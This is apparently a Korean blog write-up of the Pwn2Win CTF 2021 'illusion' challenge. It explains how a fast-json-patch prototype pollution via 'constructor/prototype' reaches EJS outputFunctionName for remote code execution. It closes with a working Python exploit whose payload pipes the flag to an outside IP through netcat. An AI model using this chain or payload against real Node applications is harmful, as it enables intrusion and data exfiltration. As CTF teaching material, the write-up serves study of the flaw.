CTF/Pwn2Win CTF 2021

[Study] Pwn2Win CTF 2021 illusion Writeup

Vardy 2021. 6. 3. 20:43

해당 서버에 접근하면 hashcash를 이용한 간단한 질문이 주어지는데, 이를 해결하면 아래와 같은 페이지로 접근 할 수 있는 접속 정보가 주어진다.

 

주어진 소스를 살펴보자. 문제의 핵심은 아래 코드에 있다.

// Homepage
app.get("/", async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
    ##### ........................................................................(2)
    res.end(html)
})

// API
app.post("/change_status", (req, res) => {

    let patch = []

    console.log(req.body)

    Object.entries(req.body).forEach(([service, status]) => {

        console.log(typeof(service))
        console.log(service)
        console.log(status)
        console.log(typeof(status))
        if (service === "status"){
            res.status(400).end("Cannot change all services status")
            return
        }

        patch.push({
            "op": "replace",
            "path": "/" + service, ##### ........................................ (3)
            "value": status
        })
    });

    jsonpatch.applyPatch(services, patch) ##### ................................. (1)

    if ("offline" in Object.values(services)){
        services.status = "offline"
    }

    res.json(services)
})

/change_status에 post 방식으로 {"cameras":"offline"} 과 같은 형식으로 데이터를 전송하면,

(1)의 fast-json-fatch의 applyPatch 기능을 이용해서 각 장비의 상태를 변경하는 기능이다.

nodejs json rce 등의 키워드로 구글링을 한 결과 nodejs/ejs 환경에서 Prototype Pollution 공격이 가능함을 확인하고, 방향성을 설정하여 여러 삽질을 하였다.

 

문제가 되었던건 Prototype Pollution 공격에서 주로 __proto__ 가 활용되는데, 이를 방지하기 위해 ApplyPatch메소드에서는 __proto__의 사용이 제한되어 있다.

 

이를 우회하고자 __proto__ 와 같거나 비슷한것이 있는지 조사했다. 관련하여 구글링을 하다가,

https://stackoverflow.com/questions/650764/how-does-proto-differ-from-constructor-prototype

 

How does __proto__ differ from constructor.prototype?

function Gadget(name, color) { this.name = name; this.color = color; } Gadget.prototype.rating = 3 var newtoy = new Gadget("webcam", "black") newtoy.constructor.prototype.constructor.proto...

stackoverflow.com

등 페이지를 통해 __proto__ 와 constructor.prototype이 유사하다는 것을 확인했고, 테스트해보았다. 

 

이제, Object.constructor.prototype을 활용해 어떻게 RCE를 성공시킬지에 대해 알아보자.

https://littledev0617.tistory.com/5

 

Node JS prototype pollution to RCE / express-fileupload@1.1.6 + EJS

http://blog.p6.is/Real-World-JS-1/ posix님이 발견하신 CVE-2020-7699 취약점이 너무나 흥미로워 보였고, 유익한 내용이기에 적어본다. 실습 환경은 express-fileupload@1.1.6 버전을 사용해야한다. 우선, proto..

littledev0617.tistory.com

를 참조하면, __proto__.outputFunctionName 을 이용한 RCE 사례가 있다. 앞서 알게 되었듯, constructor.prototype과 __proto__는 동일하므로, constructor.prototype.outputFunctionName의 값에 RCE exploit 코드를 작성하면 문제를 해결 할 수 있다.

 

index.ejs 파일을 보자.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="color-scheme" content="dark">
<meta name="theme-color" content="#282936">
<title>Rhiza's security cameras</title>
<link rel="stylesheet" href="/static/style.css">

</head>
<body>
<div class="rhiza">
<div class="container">
<ul class="rhiza-navbar">

<li><a href="#" style="font-weight:700">Rhiza's Security</a></li>
</ul>
</div>
</div>
 <div class="container">
<div id="psa" hidden></div>
<div class="services-container">
<div class="services">
<div class="sep services-title">
Rhiza's services
</div>
<div class="service">
<span class="name"><a rel="noopener" target="_blank">All services</a> </span>
<span class="status" id="services"><span class="<%= services.status %>"></span><%= services.status %></span>
</div>
<div class="service sep">
<span class="name">Total services</span>
<span class="status" id="total">4</span>
</div>
<div class="service">
<span class="name">Security cameras</span>
<span class="status" id="seccameras"><span class="<%= services.cameras %>"><%= services.cameras %></span></span>
</div>
<div class="service">
<span class="name">Prisioners jail doors</span>
<span class="status" id="doors"><span class="<%= services.doors %>"><%= services.doors %></span></span>
</div>
<div class="service">
<span class="name">Rhiza's Dome</span>
<span class="status" id="dome"><span class="<%= services.dome %>"><%= services.dome %></span></span>
</div>
<div class="service">
<span class="name">Perimeter turrets</span>
<span class="status" id="turrets"><span class="<%= services.turrets %>"><%= services.turrets %></span></span>
</div>
</body>
</html>

 

(2)를 통한 인자들이, services.cameras 와 같은 형식으로 넘어오는데, (3) 에서는 /cameras 처럼 슬래시(/)를 활용함을 알 수 있다.

이를 통해 constructor.prototype.outputFunctionName 에 접근하기 위해서는 constructor/prototype/outputFunction 과 같이 처리해주어야 함을 알 수 있다.

관련해서는 같은 팀원인 Pocas님의 자료에서 자세하게 확인 할 수 있다.

https://pocas.kr/2021/05/31/2021-05-31-Prototype-Pollution-in-JsonPatch/

 

Prototype Pollution in fast-json-patch module

TR;DL Prototype Pollution Analysis : Introduce 위 사진을 보면 fast-json-patch 모듈의 applyPatch() 메서드를 이용해서 a라는 메서드를 패치 시켜주는데, 이때 내부 오퍼레이션에 의해서 Prototype Pollution 취약점이

pocas.kr

 

위 공부한 내용을 토대로 아래와 같이 exploit.py 코드를 작성 후 실행시키면 플래그를 획득 할 수 있다. 주의할점은, 최종 RCE 실행은 ejs환경에서 실행되므로, 메인 페이지를 새로고침 해야 삽입한 코드가 로딩되면서 개인 서버에 플래그가 전송 된다.

import requests, json

URL = 'http://illusion.pwn2win.party:11018/change_status' 

headers = {'Content-Type':'application/json', 'Authorization':'Basic YWRtaW46b25ib2hram1hb2ttendreg=='}

data = {"constructor/prototype/outputFunctionName": "x; process.mainModule.require('child_process').execSync('./readflag | nc 118.32.182.8 8888');x" }
res = requests.post(URL, headers=headers ,data=json.dumps(data))

print(res.text)

 

FLAG = CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}

반응형